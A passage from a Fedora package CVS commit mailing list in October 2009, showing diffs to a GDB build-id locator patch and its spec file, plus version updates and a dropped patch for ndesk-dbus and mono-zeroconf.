retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- gdb-6.6-buildid-locate.patch	25 Sep 2009 11:06:47 -0000	1.27
+++ gdb-6.6-buildid-locate.patch	22 Oct 2009 23:52:25 -0000	1.28
@@ -1,7 +1,7 @@
-Index: gdb-6.8.91.20090925/gdb/corelow.c
+Index: gdb-7.0/gdb/corelow.c
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/corelow.c	2009-07-31 17:25:21.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/corelow.c	2009-09-25 09:39:09.000000000 +0200
+--- gdb-7.0.orig/gdb/corelow.c	2009-07-31 17:25:21.000000000 +0200
++++ gdb-7.0/gdb/corelow.c	2009-10-23 00:17:29.000000000 +0200
 @@ -45,6 +45,10 @@
  #include "exceptions.h"
  #include "solib.h"
@@ -91,11 +91,11 @@ Index: gdb-6.8.91.20090925/gdb/corelow.c
 +			   NULL, NULL, NULL,
 +			   &setlist, &showlist);
  }
-Index: gdb-6.8.91.20090925/gdb/doc/gdb.texinfo
+Index: gdb-7.0/gdb/doc/gdb.texinfo
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/doc/gdb.texinfo	2009-09-25 09:29:58.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/doc/gdb.texinfo	2009-09-25 09:29:58.000000000 +0200
-@@ -13895,6 +13895,27 @@ information files.
+--- gdb-7.0.orig/gdb/doc/gdb.texinfo	2009-10-23 00:12:39.000000000 +0200
++++ gdb-7.0/gdb/doc/gdb.texinfo	2009-10-23 00:17:29.000000000 +0200
+@@ -13896,6 +13896,27 @@ information files.
  
  @end table
  
@@ -123,10 +123,10 @@ Index: gdb-6.8.91.20090925/gdb/doc/gdb.t
  @cindex @code{.gnu_debuglink} sections
  @cindex debug link sections
  A debug link is a special section of the executable file named
-Index: gdb-6.8.91.20090925/gdb/solib-svr4.c
+Index: gdb-7.0/gdb/solib-svr4.c
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/solib-svr4.c	2009-09-25 09:29:57.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/solib-svr4.c	2009-09-25 09:43:14.000000000 +0200
+--- gdb-7.0.orig/gdb/solib-svr4.c	2009-10-23 00:12:38.000000000 +0200
++++ gdb-7.0/gdb/solib-svr4.c	2009-10-23 00:17:29.000000000 +0200
 @@ -1101,9 +1101,49 @@ svr4_current_sos (void)
  		     safe_strerror (errcode));
  	  else
@@ -180,10 +180,10 @@ Index: gdb-6.8.91.20090925/gdb/solib-svr
  	    }
  	  xfree (buffer);
  
-Index: gdb-6.8.91.20090925/gdb/symfile.c
+Index: gdb-7.0/gdb/symfile.c
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/symfile.c	2009-09-25 09:29:57.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/symfile.c	2009-09-25 09:29:58.000000000 +0200
+--- gdb-7.0.orig/gdb/symfile.c	2009-10-23 00:12:38.000000000 +0200
++++ gdb-7.0/gdb/symfile.c	2009-10-23 00:43:28.000000000 +0200
 @@ -56,6 +56,7 @@
  #include "elf-bfd.h"
  #include "solib.h"
@@ -618,7 +618,7 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
  
    if (found == NULL)
      warning (_("File \"%s\" has no build-id, file skipped"), filename);
-@@ -1234,8 +1626,9 @@ build_id_verify (const char *filename, s
+@@ -1234,14 +1626,16 @@ build_id_verify (const char *filename, s
    return retval;
  }
  
@@ -628,48 +628,77 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
 +build_id_to_filename (struct build_id *build_id, char **link_return,
 +		      int add_debug_suffix)
  {
-   char *link, *s, *retval = NULL;
-   gdb_byte *data = build_id->data;
-@@ -1243,7 +1636,9 @@ build_id_to_debug_filename (struct build
+   char *link, *debugdir, *retval = NULL;
++  char *link_all = NULL;
  
    /* DEBUG_FILE_DIRECTORY/.build-id/ab/cdef */
-   link = xmalloc (strlen (debug_file_directory) + (sizeof "/.build-id/" - 1) + 1
--		  + 2 * size + (sizeof ".debug" - 1) + 1);
-+		  + 2 * size
-+		  + (add_debug_suffix ? sizeof ".debug" - 1 : 0)
-+		  + 1);
-   s = link + sprintf (link, "%s/.build-id/", debug_file_directory);
-   if (size > 0)
-     {
-@@ -1254,12 +1649,14 @@ build_id_to_debug_filename (struct build
-     *s++ = '/';
-   while (size-- > 0)
-     s += sprintf (s, "%02x", (unsigned) *data++);
--  strcpy (s, ".debug");
-+  if (add_debug_suffix)
-+    strcpy (s, ".debug");
-+  else
-+    *s = 0;
+-  link = alloca (strlen (debug_file_directory) + (sizeof "/.build-id/" - 1) + 1
+-		 + 2 * build_id->size + (sizeof ".debug" - 1) + 1);
++  link = xmalloc (strlen (debug_file_directory) + (sizeof "/.build-id/" - 1) + 1
++		  + 2 * build_id->size + (sizeof ".debug" - 1) + 1);
+ 
+   /* Keep backward compatibility so that DEBUG_FILE_DIRECTORY being "" will
+      cause "/.build-id/..." lookups.  */
+@@ -1272,7 +1666,10 @@ build_id_to_debug_filename (struct build
+ 	*s++ = '/';
+       while (size-- > 0)
+ 	s += sprintf (s, "%02x", (unsigned) *data++);
+-      strcpy (s, ".debug");
++      if (add_debug_suffix)
++	strcpy (s, ".debug");
++      else
++	*s = 0;
+ 
+       /* lrealpath() is expensive even for the usually non-existent files.  */
+       if (access (link, F_OK) == 0)
+@@ -1285,15 +1682,185 @@ build_id_to_debug_filename (struct build
+ 	}
  
-   /* lrealpath() is expensive even for the usually non-existent files.  */
-   if (access (link, F_OK) == 0)
-     retval = lrealpath (link);
--  xfree (link);
+       if (retval != NULL)
+-	break;
++	{
++	  /* LINK_ALL is not used below in this non-NULL RETVAL case.  */
++	  break;
++	}
++
++	if (link_all == NULL)
++	  link_all = xstrdup (link);
++	else
++	  {
++	    size_t len_orig = strlen (link_all);
++
++	    link_all = xrealloc (link_all, len_orig + 1 + strlen (link) + 1);
++
++	    /* Use whitespace instead of DIRNAME_SEPARATOR to be compatible with
++	       its possible use as an argument for installation command.  */
++	    link_all[len_orig] = ' ';
++
++	    strcpy (&link_all[len_orig + 1], link);
++	  }
  
-   if (retval != NULL && !build_id_verify (retval, build_id))
-     {
-@@ -1267,9 +1664,150 @@ build_id_to_debug_filename (struct build
-       retval = NULL;
+       debugdir = debugdir_end;
      }
+   while (*debugdir != 0);
  
 +  if (link_return != NULL)
-+    *link_return = link;
-+  else
-+    xfree (link);
++    {
++      if (retval != NULL)
++       {
++         *link_return = link;
++         link = NULL;
++       }
++      else
++       {
++         *link_return = link_all;
++         link_all = NULL;
++       }
++    }
++  xfree (link);
++  xfree (link_all);
++
++  return retval;
++}
 +
-   return retval;
- }
- 
 +/* This MISSING_FILEPAIR_HASH tracker is used only for the duplicite messages
 +     Try to install the hash file ...
 +   avoidance.  */
@@ -692,9 +721,9 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
 +
 +  retval = obstack_alloc (&missing_filepair_obstack, size);
 +  memset (retval, 0, size);
-+  return retval;
-+}
-+
+   return retval;
+ }
+ 
 +static hashval_t
 +missing_filepair_hash_func (const struct missing_filepair *elem)
 +{
@@ -809,20 +838,7 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
  static char *
  get_debug_link_info (struct objfile *objfile, unsigned long *crc32_out)
  {
-@@ -1352,32 +1890,36 @@ static char *
- find_separate_debug_file (struct objfile *objfile)
- {
-   asection *sect;
--  char *basename;
--  char *dir;
--  char *debugfile;
-+  char *basename = NULL;
-+  char *dir = NULL;
-+  char *debugfile = NULL;
-   char *name_copy;
--  char *canon_name;
-+  char *canon_name = NULL;
-   bfd_size_type debuglink_size;
+@@ -1384,13 +1951,14 @@ find_separate_debug_file (struct objfile
    unsigned long crc32;
    int i;
    struct build_id *build_id;
@@ -839,123 +855,34 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
        xfree (build_id);
        /* Prevent looping on a stripped .debug file.  */
        if (build_id_name != NULL && strcmp (build_id_name, objfile->name) == 0)
-         {
--	  warning (_("\"%s\": separate debug info file has no debug info"),
-+	  warning (_("\"%s\": The separate debug info file has no debug info"),
- 		   build_id_name);
+@@ -1400,7 +1968,10 @@ find_separate_debug_file (struct objfile
  	  xfree (build_id_name);
  	}
        else if (build_id_name != NULL)
 -        return build_id_name;
-+        {
++	{
 +	  xfree (build_id_filename);
 +	  return build_id_name;
 +	}
      }
  
    basename = get_debug_link_info (objfile, &crc32);
-@@ -1385,7 +1927,7 @@ find_separate_debug_file (struct objfile
-   if (basename == NULL)
-     /* There's no separate debug info, hence there's no way we could
-        load it => no warning.  */
--    return NULL;
-+    goto cleanup_return_debugfile;
- 
-   dir = xstrdup (objfile->name);
- 
-@@ -1407,24 +1949,19 @@ find_separate_debug_file (struct objfile
-   if (canon_name && strlen (canon_name) > i)
-     i = strlen (canon_name);
- 
--  debugfile = alloca (strlen (debug_file_directory) + 1
--                      + i
--                      + strlen (DEBUG_SUBDIRECTORY)
--                      + strlen ("/")
--                      + strlen (basename)
--                      + 1);
-+  debugfile = xmalloc (strlen (debug_file_directory) + 1
-+		       + i
-+		       + strlen (DEBUG_SUBDIRECTORY)
-+		       + strlen ("/")
-+		       + strlen (basename)
-+		       + 1);
- 
-   /* First try in the same directory as the original file.  */
-   strcpy (debugfile, dir);
-   strcat (debugfile, basename);
- 
-   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
--    {
--      xfree (basename);
--      xfree (dir);
--      xfree (canon_name);
--      return xstrdup (debugfile);
--    }
-+    goto cleanup_return_debugfile;
- 
-   /* Then try in the subdirectory named DEBUG_SUBDIRECTORY.  */
-   strcpy (debugfile, dir);
-@@ -1433,12 +1970,7 @@ find_separate_debug_file (struct objfile
-   strcat (debugfile, basename);
- 
-   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
--    {
--      xfree (basename);
--      xfree (dir);
--      xfree (canon_name);
--      return xstrdup (debugfile);
--    }
-+    goto cleanup_return_debugfile;
- 
-   /* Then try in the global debugfile directory.  */
-   strcpy (debugfile, debug_file_directory);
-@@ -1447,12 +1979,7 @@ find_separate_debug_file (struct objfile
-   strcat (debugfile, basename);
- 
-   if (separate_debug_file_exists (debugfile, crc32, objfile->name))
--    {
--      xfree (basename);
--      xfree (dir);
--      xfree (canon_name);
--      return xstrdup (debugfile);
--    }
-+    goto cleanup_return_debugfile;
- 
-   /* If the file is in the sysroot, try using its base path in the
-      global debugfile directory.  */
-@@ -1466,20 +1993,18 @@ find_separate_debug_file (struct objfile
-       strcat (debugfile, basename);
- 
-       if (separate_debug_file_exists (debugfile, crc32, objfile->name))
--	{
--	  xfree (canon_name);
--	  xfree (basename);
--	  xfree (dir);
--	  return xstrdup (debugfile);
--	}
-+	goto cleanup_return_debugfile;
-     }
+@@ -1501,8 +2072,10 @@ find_separate_debug_file (struct objfile
    
--  if (canon_name)
--    xfree (canon_name);
-+  debugfile = NULL;
+   xfree (debugfile);
+   debugfile = NULL;
 +  debug_print_missing (objfile->name, build_id_filename);
  
-+cleanup_return_debugfile:
+ cleanup_return_debugfile:
 +  xfree (build_id_filename);
-+  xfree (canon_name);
+   xfree (canon_name);
    xfree (basename);
    xfree (dir);
--  return NULL;
-+  return debugfile;
- }
- 
- 
-@@ -4229,4 +4754,16 @@ the global debug-file directory prepende
+@@ -4256,4 +4829,16 @@ each global debug-file-directory compone
  				     NULL,
  				     show_debug_file_directory,
  				     &setlist, &showlist);
-+ 
++
 +   add_setshow_zinteger_cmd ("build-id-verbose", no_class, &build_id_verbose,
 + 			    _("\
 + Set debugging level of the build-id locator."), _("\
@@ -965,13 +892,13 @@ Index: gdb-6.8.91.20090925/gdb/symfile.c
 + 			    NULL,
 + 			    show_build_id_verbose,
 + 			    &setlist, &showlist);
-+ 
++
 +   observer_attach_executable_changed (debug_print_executable_changed);
  }
-Index: gdb-6.8.91.20090925/gdb/symfile.h
+Index: gdb-7.0/gdb/symfile.h
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/symfile.h	2009-09-25 09:29:57.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/symfile.h	2009-09-25 09:29:58.000000000 +0200
+--- gdb-7.0.orig/gdb/symfile.h	2009-10-23 00:12:38.000000000 +0200
++++ gdb-7.0/gdb/symfile.h	2009-10-23 00:17:29.000000000 +0200
 @@ -381,6 +381,13 @@ extern int symfile_map_offsets_to_segmen
  struct symfile_segment_data *get_symfile_segment_data (bfd *abfd);
  void free_symfile_segment_data (struct symfile_segment_data *data);
@@ -986,10 +913,10 @@ Index: gdb-6.8.91.20090925/gdb/symfile.h
  /* From dwarf2read.c */
  
  extern int dwarf2_has_info (struct objfile *);
-Index: gdb-6.8.91.20090925/gdb/testsuite/lib/gdb.exp
+Index: gdb-7.0/gdb/testsuite/lib/gdb.exp
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/testsuite/lib/gdb.exp	2009-09-25 09:29:57.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/testsuite/lib/gdb.exp	2009-09-25 09:29:58.000000000 +0200
+--- gdb-7.0.orig/gdb/testsuite/lib/gdb.exp	2009-10-23 00:12:38.000000000 +0200
++++ gdb-7.0/gdb/testsuite/lib/gdb.exp	2009-10-23 00:17:29.000000000 +0200
 @@ -1248,6 +1248,16 @@ proc default_gdb_start { } {
  	    warning "Couldn't set the width to 0."
  	}
@@ -1007,10 +934,10 @@ Index: gdb-6.8.91.20090925/gdb/testsuite
      return 0;
  }
  
-Index: gdb-6.8.91.20090925/gdb/testsuite/lib/mi-support.exp
+Index: gdb-7.0/gdb/testsuite/lib/mi-support.exp
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/testsuite/lib/mi-support.exp	2009-09-15 20:51:26.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/testsuite/lib/mi-support.exp	2009-09-25 09:29:58.000000000 +0200
+--- gdb-7.0.orig/gdb/testsuite/lib/mi-support.exp	2009-09-15 20:51:26.000000000 +0200
++++ gdb-7.0/gdb/testsuite/lib/mi-support.exp	2009-10-23 00:17:29.000000000 +0200
 @@ -221,6 +221,16 @@ proc default_mi_gdb_start { args } {
  	    }
      	}
@@ -1028,10 +955,10 @@ Index: gdb-6.8.91.20090925/gdb/testsuite
  
      detect_async
  
-Index: gdb-6.8.91.20090925/gdb/objfiles.h
+Index: gdb-7.0/gdb/objfiles.h
 ===================================================================
---- gdb-6.8.91.20090925.orig/gdb/objfiles.h	2009-09-25 09:29:57.000000000 +0200
-+++ gdb-6.8.91.20090925/gdb/objfiles.h	2009-09-25 09:38:27.000000000 +0200
+--- gdb-7.0.orig/gdb/objfiles.h	2009-10-23 00:12:38.000000000 +0200
++++ gdb-7.0/gdb/objfiles.h	2009-10-23 00:17:29.000000000 +0200
 @@ -428,6 +428,10 @@ struct objfile
  
  #define OBJF_MAIN (1 << 7)


Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.393
retrieving revision 1.394
diff -u -p -r1.393 -r1.394
--- gdb.spec	19 Oct 2009 04:56:47 -0000	1.393
+++ gdb.spec	22 Oct 2009 23:52:25 -0000	1.394
@@ -14,7 +14,7 @@ Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 2%{?_with_upstream:.upstream}%{?dist}
+Release: 3%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -125,10 +125,6 @@ Patch145: gdb-6.3-threaded-watchpoints2-
 # Fix printing of inherited members
 Patch148: gdb-6.3-inheritance-20050324.patch
 
-# Print a warning when the separate debug info's CRC doesn't match.
-Patch150: gdb-6.3-test-sepcrc-20050402.patch
-Patch151: gdb-6.3-sepcrc-20050402.patch
-
 # Do not issue warning message about first page of storage for ia64 gcore
 Patch153: gdb-6.3-ia64-gcore-page0-20050421.patch
 
@@ -370,6 +366,11 @@ Patch381: gdb-simultaneous-step-resume-b
 # Fix GNU/Linux core open: Can't read pathname for load map: Input/output error.
 Patch382: gdb-core-open-vdso-warning.patch
 
+# Support multiple directories for `set debug-file-directory' (BZ 528668).
+Patch383: gdb-bz528668-symfile-sepcrc.patch
+Patch384: gdb-bz528668-symfile-cleanup.patch
+Patch385: gdb-bz528668-symfile-multi.patch
+
 BuildRequires: ncurses-devel texinfo gettext flex bison expat-devel
 Requires: readline
 BuildRequires: readline-devel
@@ -463,6 +464,9 @@ rm -f gdb/jv-exp.c gdb/m2-exp.c gdb/objc
 
 #patch232 -p1
 %patch349 -p1
+%patch383 -p1
+%patch384 -p1
+%patch385 -p1
 %patch1 -p1
 %patch3 -p1
 
@@ -483,8 +487,6 @@ rm -f gdb/jv-exp.c gdb/m2-exp.c gdb/objc
 %patch142 -p1
 %patch145 -p1
 %patch148 -p1
-%patch150 -p1
-%patch151 -p1
 %patch153 -p1
 %patch157 -p1
 %patch158 -p1
@@ -854,6 +856,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 22 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-3
+- Support multiple directories for `set debug-file-directory' (BZ 528668).
+
 * Mon Oct 19 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-2
 - Sync the .spec with RHEL/CentOS without EPEL, do not BuildRequires: fpc there.
 



From salimma at fedoraproject.org  Fri Oct 23 00:07:01 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Fri, 23 Oct 2009 00:07:01 +0000 (UTC)
Subject: rpms/ndesk-dbus/devel .cvsignore, 1.4, 1.5 ndesk-dbus.spec, 1.14,
	1.15 sources, 1.4, 1.5
Message-ID: <20091023000701.E3A6B11C008C@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/ndesk-dbus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27038

Modified Files:
	.cvsignore ndesk-dbus.spec sources 
Log Message:
* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.6.1b-1
- Update to 0.6.1b (taken from mono-zeroconf)
- Drop Sugar patch; already applied



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	30 Jan 2008 07:08:58 -0000	1.4
+++ .cvsignore	23 Oct 2009 00:07:00 -0000	1.5
@@ -1 +1 @@
-ndesk-dbus-0.6.1a.tar.gz
+ndesk-dbus-0.6.1b.tar.bz2


Index: ndesk-dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus/devel/ndesk-dbus.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ndesk-dbus.spec	30 Jul 2009 03:17:34 -0000	1.14
+++ ndesk-dbus.spec	23 Oct 2009 00:07:00 -0000	1.15
@@ -1,18 +1,17 @@
 %define			debug_package %{nil}
 
 Name:			ndesk-dbus
-Version:		0.6.1a
-Release:		7%{?dist}
+Version:		0.6.1b
+Release:		1%{?dist}
 Summary:		Managed C# implementation of DBus
 
 License:		MIT
 Group:			System Environment/Libraries
 URL:			http://www.ndesk.org/DBusSharp
-Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-%{version}.tar.gz
+#Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-%{version}.tar.gz
+Source0:                %{name}-%{version}.tar.bz2
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch0:			%{name}-sugar-datastore.patch
-
 BuildRequires:		mono-devel
 
 Requires:		mono-core
@@ -31,7 +30,6 @@ Development files for ndesk-dbus
 
 %prep
 %setup -q
-%patch0 -p1 -b .sugar-datastore
 
 
 %build
@@ -60,6 +58,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndesk-dbus-1.0.pc
 
 %changelog
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.6.1b-1
+- Update to 0.6.1b (taken from mono-zeroconf)
+- Drop Sugar patch; already applied
+
 * Wed Jul 29 2009 Peter Gordon <peter at thecodergeek.com> - 0.6.1a-7
 - Correct version number in previous %%changelog entry.
 - Apply patch from Torello Querci to fix byte-alignment when reading from the


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	30 Jan 2008 07:08:58 -0000	1.4
+++ sources	23 Oct 2009 00:07:00 -0000	1.5
@@ -1 +1 @@
-865900c2edb221ffff0c8fe7db210a67  ndesk-dbus-0.6.1a.tar.gz
+e21eb6cc636971da2b1ce439ab18b4dd  ndesk-dbus-0.6.1b.tar.bz2



From salimma at fedoraproject.org  Fri Oct 23 00:12:56 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Fri, 23 Oct 2009 00:12:56 +0000 (UTC)
Subject: rpms/ndesk-dbus/devel ndesk-dbus-sugar-datastore.patch,1.1,NONE
Message-ID: <20091023001256.0E7CF11C0265@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/ndesk-dbus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29248

Removed Files:
	ndesk-dbus-sugar-datastore.patch 
Log Message:
Remove obsoleted patch



--- ndesk-dbus-sugar-datastore.patch DELETED ---



From salimma at fedoraproject.org  Fri Oct 23 00:13:21 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Fri, 23 Oct 2009 00:13:21 +0000 (UTC)
Subject: rpms/mono-zeroconf/devel
	mono-zeroconf-0.9.0-use-system-ndesk-dbus.patch, NONE,
	1.1 .cvsignore, 1.4, 1.5 mono-zeroconf.spec, 1.14, 1.15 sources,
	1.4, 1.5
Message-ID: <20091023001321.4471611C0265@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/mono-zeroconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29773

Modified Files:
	.cvsignore mono-zeroconf.spec sources 
Added Files:
	mono-zeroconf-0.9.0-use-system-ndesk-dbus.patch 
Log Message:
* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
- Make AvahiDbus the only provider for now

* Thu Oct 22 2009 Paul Lange <palango at gmx.de> - 0.9-1
- update to version 0.9
- move docs into devel package


mono-zeroconf-0.9.0-use-system-ndesk-dbus.patch:
 Makefile.in |   32 ++------------------------------
 1 file changed, 2 insertions(+), 30 deletions(-)

--- NEW FILE mono-zeroconf-0.9.0-use-system-ndesk-dbus.patch ---
--- mono-zeroconf-0.9.0/src/Mono.Zeroconf.Providers.AvahiDBus/Makefile.in.use-system-ndesk-dbus	2009-03-30 19:13:16.000000000 -0400
+++ mono-zeroconf-0.9.0/src/Mono.Zeroconf.Providers.AvahiDBus/Makefile.in	2009-10-22 19:46:58.226324535 -0400
@@ -170,35 +170,7 @@
 	Mono.Zeroconf.Providers.AvahiDBus/Service.cs \
 	Mono.Zeroconf.Providers.AvahiDBus/ServiceBrowser.cs \
 	Mono.Zeroconf.Providers.AvahiDBus/TxtRecord.cs \
-	Mono.Zeroconf.Providers.AvahiDBus/ZeroconfProvider.cs \
-	NDesk.DBus/Address.cs \
-	NDesk.DBus/Authentication.cs \
-	NDesk.DBus/Bus.cs \
-	NDesk.DBus/BusObject.cs \
-	NDesk.DBus/Connection.cs \
-	NDesk.DBus/DBus.cs \
-	NDesk.DBus/DProxy.cs \
-	NDesk.DBus/ExportObject.cs \
-	NDesk.DBus/Introspection.cs \
-	NDesk.DBus/IntrospectionSchema.cs \
-	NDesk.DBus/Mapper.cs \
-	NDesk.DBus/MatchRule.cs \
-	NDesk.DBus/Message.cs \
-	NDesk.DBus/MessageFilter.cs \
-	NDesk.DBus/MessageReader.cs \
-	NDesk.DBus/MessageWriter.cs \
-	NDesk.DBus/PendingCall.cs \
-	NDesk.DBus/Protocol.cs \
-	NDesk.DBus/Server.cs \
-	NDesk.DBus/Signature.cs \
-	NDesk.DBus/SocketTransport.cs \
-	NDesk.DBus/Transport.cs \
-	NDesk.DBus/TypeDefiner.cs \
-	NDesk.DBus/TypeImplementer.cs \
-	NDesk.DBus/UnixMonoTransport.cs \
-	NDesk.DBus/UnixNativeTransport.cs \
-	NDesk.DBus/UnixTransport.cs \
-	NDesk.DBus/Wrapper.cs
+	Mono.Zeroconf.Providers.AvahiDBus/ZeroconfProvider.cs
 
 SOURCES = \
 	$(top_srcdir)/src/AssemblyInfo.cs \
@@ -402,7 +374,7 @@
 @BUILD_AVAHI_TRUE at all: $(ASSEMBLY)
 
 @BUILD_AVAHI_TRUE@$(ASSEMBLY): $(top_builddir)/src/Mono.Zeroconf/Mono.Zeroconf.dll $(SOURCES)
- at BUILD_AVAHI_TRUE@	$(MCS) -unsafe -debug -target:library -out:$@ -r:$< $(AVAHI_LIBS) $(SOURCES)
+ at BUILD_AVAHI_TRUE@	$(MCS) -unsafe -debug -target:library -out:$@ `pkg-config ndesk-dbus-1.0 --libs` -r:$< $(AVAHI_LIBS) $(SOURCES)
 # Tell versions [3.59,3.63) of GNU make to not export all variables.
 # Otherwise a system limit (for SysV at least) may be exceeded.
 .NOEXPORT:


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 17:41:05 -0000	1.4
+++ .cvsignore	23 Oct 2009 00:13:20 -0000	1.5
@@ -1 +1 @@
-mono-zeroconf-0.7.6.tar.bz2
+mono-zeroconf-0.9.0.tar.bz2


Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/devel/mono-zeroconf.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mono-zeroconf.spec	20 Aug 2009 22:10:42 -0000	1.14
+++ mono-zeroconf.spec	23 Oct 2009 00:13:20 -0000	1.15
@@ -1,16 +1,17 @@
 %define         debug_package %{nil}
 
 Name:           mono-zeroconf
-Version:        0.7.6
-Release:        10%{?dist}
-Summary:        Mono-zeroconf namespace
+Version:        0.9.0
+Release:        2%{?dist}
+Summary:        Mono.Zeroconf networking library
 Group:          Development/Languages
 License:        MIT
 URL:            http://banshee-project.org/files/mono-zeroconf
 Source0:        %{name}-%{version}.tar.bz2
+Patch0:         %{name}-0.9.0-use-system-ndesk-dbus.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-devel >= 2.2, avahi-sharp, monodoc-devel, mono-web-devel
-Requires: 	monodoc mono-web
+BuildRequires:  mono-devel monodoc-devel ndesk-dbus-devel
+Requires:       mono-core
 
 ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
 
@@ -19,21 +20,23 @@ Mono.Zeroconf is a cross platform Zero C
 for Mono and .NET.
 
 %package devel
-Summary: .pc file for mono zeroconf
-Group: Documentation
-Requires: %{name} = %{version}-%{release} pkgconfig
+Summary: Development files for Mono.Zeroconf
+Group:   Development/Languages
+Requires: %{name} = %{version}-%{release} pkgconfig monodoc
 
 %description devel
-Development file for mono zeroconf
+Development files and documentation for Mono.Zeroconf
 
 %prep
 %setup -q
-# sed magic...
+%patch0 -p1 -b .use-system-ndesk-dbus
+# https://bugzilla.novell.com/show_bug.cgi?id=549163
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure.ac
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure
 
 %build
-%configure
+%configure --disable-mdnsresponder
+#parallel build doesn't work
 make
 
 %install
@@ -50,14 +53,20 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/mono-zeroconf/
 %{_libdir}/mono/gac/Mono.Zeroconf
 %{_libdir}/mono/mono-zeroconf
-%{_libdir}/monodoc/sources/mono-zeroconf*
-%{_libdir}/mono/gac/policy.1.0.Mono.Zeroconf/
-%{_libdir}/mono/gac/policy.2.0.Mono.Zeroconf/
+%{_libdir}/mono/gac/policy.*
 
 %files devel
 %{_libdir}/pkgconfig/mono-zeroconf.pc
+%{_libdir}/monodoc/sources/mono-zeroconf*
 
 %changelog
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
+- Make AvahiDbus the only provider for now
+
+* Thu Oct 22 2009 Paul Lange <palango at gmx.de> - 0.9-1
+- update to version 0.9
+- move docs into devel package
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.7.6-10
 - Rebuild for ppc64 packages due to obsolete of packageset last time.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 17:41:05 -0000	1.4
+++ sources	23 Oct 2009 00:13:20 -0000	1.5
@@ -1 +1 @@
-7c7c841d6e10ad803bb879511ab9747b  mono-zeroconf-0.7.6.tar.bz2
+cb25d50898442a7766c324dcb52ef9bf  mono-zeroconf-0.9.0.tar.bz2



From salimma at fedoraproject.org  Fri Oct 23 00:14:27 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Fri, 23 Oct 2009 00:14:27 +0000 (UTC)
Subject: rpms/banshee/devel banshee.spec,1.82,1.83
Message-ID: <20091023001427.0804511C008C@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/banshee/devel
